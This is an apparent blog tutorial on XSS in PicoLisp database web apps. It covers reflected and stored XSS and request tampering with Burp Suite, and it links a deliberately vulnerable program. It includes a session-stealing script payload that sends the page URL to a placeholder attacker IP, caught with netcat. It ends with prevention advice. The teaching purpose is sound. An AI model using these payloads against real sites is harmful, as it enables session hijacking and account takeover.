How to hack the PicoLisp Database (and how to prevent it!) - An Introduction to XSS Attacks
Tags: picolisp, database, lisp, functional
Published: 2022-05-13 14:32:59

Today we will discuss some basic security aspects of database user interfaces. The principles are not at all restricted to PicoLisp, it's a general (and quite wide-spread) vulnerability: Cross-Site Scripting.

--------------

### What are Cross-Site Scripting attacks?

 
Cross-Site Scripting (XSS) attacks are a type of injection in which malicious script can be injected. XSS vulnerabilities take advantage of a flaw in user input sanitization to "write" JavaScript code to the page and execute it on the client side, leading to several types of attacks.

XSS vulnerabilities can facilitate a wide range of attacks, which can be anything that can be executed through browser JavaScript code. A basic example of an XSS attack is having the target user unwillingly send their session cookie to the attacker's web server. Another example is having the target's browser execute API calls that lead to a malicious action, like changing the user's password to a password of the attacker's choosing. There are many other types of XSS attacks, from Bitcoin mining to displaying ads.

XSS vulnerabilities are one of the most common flaws in web applications - [Top 3 according to the Open Web Application Security Project (OWASP)](https://owasp.org/Top10/) after "Broken Access Control" and "Cryptographic Failures".

---------------------

### An example

Instead of theory, let's start with an example. Actually we have introduced a great example for XSS vulnerability in the post ["Creating HTML Forms 2"](https://picolisp-blog.hashnode.dev/web-application-programming-in-picolisp-creating-html-forms-part-2). (Did you notice?)

If you check the source code, this is basically what we do: We save the user input in two global variables ``*FirstName`` and ``*LastName`` and output it via ``prinl``. 

```
(prinl "Hello, " *FirstName " " *LastName "!")
```

``prinl`` takes any kind of expression without modifications. Let's see what that means!

-------------------

![youvebeenhacked.gif](https://cdn.hashnode.com/res/hashnode/image/upload/v1634626313461/EpGSkvjpi.gif)

*You can try it yourself [here](http://picolisp.com/blog/src/stateful-post.l).*

The program expects a name as input. But what if we write a JavaScript expression? It will be executed! Let's check the HTML source code to understand what's happening (``Ctrl-U`` in Firefox). 

On the input field side, all special characters are replaced: the input is *sanitized*. The browser will not execute this as JavaScript.

```
<input type="text" name="*FirstName" value="&lt;script&gt;alert(&quot;You've been hacked!&quot;)&lt;/script&gt;" size="30" onchange="return fldChg(this)" class="field"/>
```

However, the ``<h3>`` tag below is not:

```
<h3 class="d-flex m-1 justify-content-center">Hello, <script>alert("You've been hacked!")</script> B!</h3>
```

If JavaScript is enabled in the browser, this will enable the user to execute any types of JavaScript commands.

--------------------

In this case in the example, the JavaScript is only executed in the attacker's browser. The malicious input is not saved on the backend side. This is called a **reflected, non-persistent XSS**.  

In the example above, there is not much harm the attacker can do, because the execution of JavaScript commands are limited to the browser, and what's the point in hacking your own machine anyway?

So let's now take a look at a dangerous one: stored XSS attacks.

--------------------

### Stored XSS Attacks

An XSS-Attack is called **stored** if the input is saved somewhere in the backend, for example in the database. In this case not only the attacker, but **everyone viewing the page** is potentially affected. In order to make that possible, two vulnerabilities must occur at the same time:

1. The input data is directly written into the database without checks, and
2. The input data is directly evaluated in the code.

------------------

Let's take a look at the following, **vulnerable** version of our ``family-edit.l`` program. It is identical to the previous line except for one additional line:

```
(<p> NIL (prin (get *ID 'job) ", born " (datStr(get *ID 'dat))))
```

The programmer wanted to create a subtitle that prints the occupation and birthday of the record. In rendered form, it looks like this:

![subtitle.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1634627681449/kk7sqsSeB4.png)

Unfortunately, with this line he or she introduced a serious vulnerability. Let's see what kind of fun an attacker can have with this.

---------------------

You can download the vulnerable program [here](https://gitlab.com/picolisp-blog/web-applications/-/blob/main/database/family-vulnerable.l). The database is expected in the folder ``family-vulnerable/``, I recommend to download the [``family/`` database](https://gitlab.com/picolisp-blog/web-applications/-/tree/main/database/family) and copy it in a new folder, so that the original one doesn't get corrupted.

---------------------

### Proof of Concept

Let's repeat the same steps as before and try to replace the "Occupation" field by some JavaScript. It works!

![queenhack.gif](https://cdn.hashnode.com/res/hashnode/image/upload/v1634628109248/QVouLNsQ_.gif)

Differently to before, every user who is now accesing the database will see **You've been hacked** instead of the user record first. This alone can already be a problem, but there are even worse things that an attacker can do with that. 

--------------------

### Corrupting the date field

But before we get into that, let's try the same with our date string. When we try the same steps as before, we see that we cannot change it - the submission is blocked with the notification "Bad date format". 

![baddateformat.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1634628270891/m79pkzNJz.png)

---------------------

Does that mean we're safe? Maybe not, because the check is only on front-end side. Let's try to catch the POST request and modify it before sending it to the server. 

I have opened a virtual Kali Linux machine on my system to access the web app on the host system. Using [*Burp Suite*](https://portswigger.net/burp) as proxy, let's see what our app is sending. Let's modify the date and catch the request in our proxy.  

![catch2.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1634629045296/ctto67tVP.png)

Now we modify this value to ``<script>alert("You've been hacked!")</script>`` before we forward it.

![hacked.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1634629196513/L2RgYiHOo.png)

However, when we try to send it, we get a "server connect failure".  Why? Maybe the interpreter threw an error because this evaluation was not possible anymore:

```
(datStr(get *ID 'dat))
```

So we could try to inject ``"1926-04-23" ) "hello world"``. This should render to something like this:

```
(datStr "1926-04-23" ) "hello world"
```

Unfortunately (or rather luckily), this also fails, because date is transformed to a timestamp in the backend, which fails if we send anything except data strings. Similarly, comments, ``NIL`` and empty strings are rejected.

So I assume the ``date`` fields cannot be injected so easily since the date conversion is acting as data sanitizer.

-------------------------

### Exploiting the ``Occupation`` vulnerability

Nevertheless, we still have the ``job`` property where we can execute our malicious scripts. For example, we could try to get the session ID of anybody who is opening the database. In order to get these, we need the application to connect back to us. 

Instead of adding a simple alert, let's do this:

```
<script type="text/javascript">new Image().src="http://<ATTACKER_IP>:<ATTACKER_PORT>/?url="+window.location.href;</script>
```

*Replace ``Attacker_IP`` by your own (local) IP.*

Then we open a port on the attacking system (for example with [netcat](https://en.wikipedia.org/wiki/Netcat)) As soon as the victim opens the corrupted database, the page tries to load a "picture" from the attacker's computer. Of course it fails because there is no such picture, but from the request, the attacker can get the complete session URL, and if available, also the session authentication cookies.

![sessionidreceived.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1634632397693/Y-Ik-M3aF.png)

In other words, the attacker can now use the session of another user! This could be a big problem, right? Let's assume the administrator has logged in, and we can steal session URL and cookies (if available) from that person. This means that the attacker could execute commands with administrator rights, for example download the whole database, or even take over the control over the server!

--------------------

### What do we learn from that?

XSS attacks can be dangerous, especially in combination with a storage mechanism on the backend side. As you can see, the attacker doesn't even have to know anything about PicoLisp, and this kind of attack is also very easy to automate, so the probability is quite high that it will be discovered.

What can we do to prevent it?

1. Try to use standard framework components where possible. For example, the GUI elements of the PicoLisp GUI frameworks are safe to use since they remove special characters before displaying.
2. Always specify and filter the user input, don't commit anything unchecked into the database. Sanitize the data if possible.
3. Never directly evaluate user input data (for example: use ``ht:Prin`` instead of ``prin`` if the content is not known beforehand).
4. Consider to use scanning tools to double-check your application.

The good news is: **XSS exploits are easy to exploit, but also quite easy to prevent.** Always follow these two rules and your application should be safe!

---------------------

# Sources

- https://owasp.org/www-community/attacks/xss/  
Hacker icon: <a href="https://www.flaticon.com/de/autoren/those-icons" title="Those Icons">Those Icons</a> from <a href="https://www.flaticon.com/de/" title="Flaticon">www.flaticon.com</a>  
academy.hackthebox.com